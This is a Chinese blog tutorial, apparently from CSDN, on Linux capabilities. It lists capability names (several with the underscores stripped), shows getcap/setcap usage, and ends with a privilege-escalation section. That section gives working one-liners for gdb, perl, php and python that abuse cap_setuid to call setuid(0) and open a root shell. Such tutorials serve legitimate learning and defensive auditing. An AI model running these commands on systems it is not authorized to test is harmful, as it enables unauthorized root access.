shell获取capabilities_Linux提权(capabilities)

Linux的Capabilities机制将root权限细分为多个功能组,允许按需授予普通用户特定权限,降低系统风险。本文介绍了Capabilities的基础知识,包括如何查询、设置和删除,以及在提权场景中的应用实例,例如通过setuid进行权限提升。
摘要由CSDN通过智能技术生成

0x00 Capabilities入门

什么是Capabilities

Linux的Root用户拥有最高的权限,可以对几乎系统中的任何文件进行操作。然而普通用户如何操作一些高权限的文件?

在Linux中存在两种方法:

第一种是在执行的命令前加上sudo,这样就会以Root的身份进行操作。

第二种方法是设置SUID或SGID,这样虽然会以原用户的身份进行操作,但是获得了操作权限。

SUID和SGID存在安全隐患,因为某文件设置了之后普通用户将会获得广范围的操作权限。

为了避免这种安全隐患,Linux内核 2.2 之后引入了Capabilities机制。什么是Capabilities机制哪?

原理很简单,就是将之前与超级用户 root(UID=0)关联的特权细分为不同的功能组,Capabilites 作为线程(Linux 并不真正区分进程和线程)的属性存在,每个功能组都可以独立启用和禁用。其本质上就是将内核调用分门别类,具有相似功能的内核调用被分到同一组中。

这样一来,权限检查的过程就变成了:在执行特权操作时,如果线程的有效身份不是 root,就去检查其是否具有该特权操作所对应的 capabilities,并以此为依据,决定是否可以执行特权操作。

细分后的特权:

capability名称

描述

CAPAUDITCONTROL

启用和禁用内核审计;改变审计过滤规则;检索审计状态和过滤规则

CAPAUDITREAD

允许通过 multicast netlink 套接字读取审计日志

CAPAUDITWRITE

将记录写入内核审计日志

CAPBLOCKSUSPEND

使用可以阻止系统挂起的特性

CAP_CHOWN

修改文件所有者的权限

CAPDACOVERRIDE

忽略文件的 DAC 访问限制

CAPDACREAD_SEARCH

忽略文件读及目录搜索的 DAC 访问限制

CAP_FOWNER

忽略文件属主 ID 必须和进程用户 ID 相匹配的限制

CAP_FSETID

允许设置文件的 setuid 位

CAPIPCLOCK

允许锁定共享内存片段

CAPIPCOWNER

忽略 IPC 所有权检查

CAP_KILL

允许对不属于自己的进程发送信号

CAP_LEASE

允许修改文件锁的 FL_LEASE 标志

CAPLINUXIMMUTABLE

允许修改文件的 IMMUTABLE 和 APPEND 属性标志

CAPMACADMIN

允许 MAC 配置或状态更改

CAPMACOVERRIDE

忽略文件的 DAC 访问限制

CAP_MKNOD

允许使用 mknod() 系统调用

CAPNETADMIN

允许执行网络管理任务

CAPNETBIND_SERVICE

允许绑定到小于 1024 的端口

CAPNETBROADCAST

允许网络广播和多播访问

CAPNETRAW

允许使用原始套接字

CAP_SETGID

允许改变进程的 GID

CAP_SETFCAP

允许为文件设置任意的 capabilities

CAP_SETPCAP

参考 capabilities man page

CAP_SETUID

允许改变进程的 UID

CAPSYSADMIN

允许执行系统管理任务,如加载或卸载文件系统、设置磁盘配额等

CAPSYSBOOT

允许重新启动系统

CAPSYSCHROOT

允许使用 chroot() 系统调用

CAPSYSMODULE

允许插入和删除内核模块

CAPSYSNICE

允许提升优先级及设置其他进程的优先级

CAPSYSPACCT

允许执行进程的 BSD 式审计

CAPSYSPTRACE

允许跟踪任何进程

CAPSYSRAWIO

允许直接访问 /devport、/dev/mem、/dev/kmem 及原始块设备

CAPSYSRESOURCE

忽略资源限制

CAPSYSTIME

允许改变系统时钟

CAPSYSTTY_CONFIG

允许配置 TTY 设备

CAP_SYSLOG

允许使用 syslog() 系统调用

CAPWAKEALARM

允许触发一些能唤醒系统的东西(比如 CLOCKBOOTTIMEALARM 计时器)

Capabilities使用

查询

getcap [路径]

## 查询全部

getcap -r / 2>/dev/null # -r 递归查询 2>/dev/null 错误信息从定向到null

设置

## 多个Capabilities以分号划分

setcap [Capabilities名称]=eip [路径]

## 设置多个案例

setcap cap_setgid,cap_setuid=eip /usr/bin/python

## 注意

设置时路径要指定源文件,不可以是链接文件,如果报错可以查看是不是路径指定的为链接文件

删除

setcap -r [路径]

0x01 提权实例

setuid

通过setuid可以将进程执行用户设置为root,以达到获取root权限效果

gdb

gdb -nx -ex 'python import os; os.setuid(0)' -ex '!sh' -ex quit

## -ex 执行命令

## gdb调用python debug调试;在shell中启动python的命令为python2,在gdb中也为python

## -nx 不初始化脚本

perl

perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "/bin/sh";'

php

php -r "posix_setuid(0); system('/bin/sh');"

出现如下时

需要安装php-posix

yum install php-posix

## centos中命令

python

python -c 'import os; os.setuid(0); os.system("/bin/sh")'

参考

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值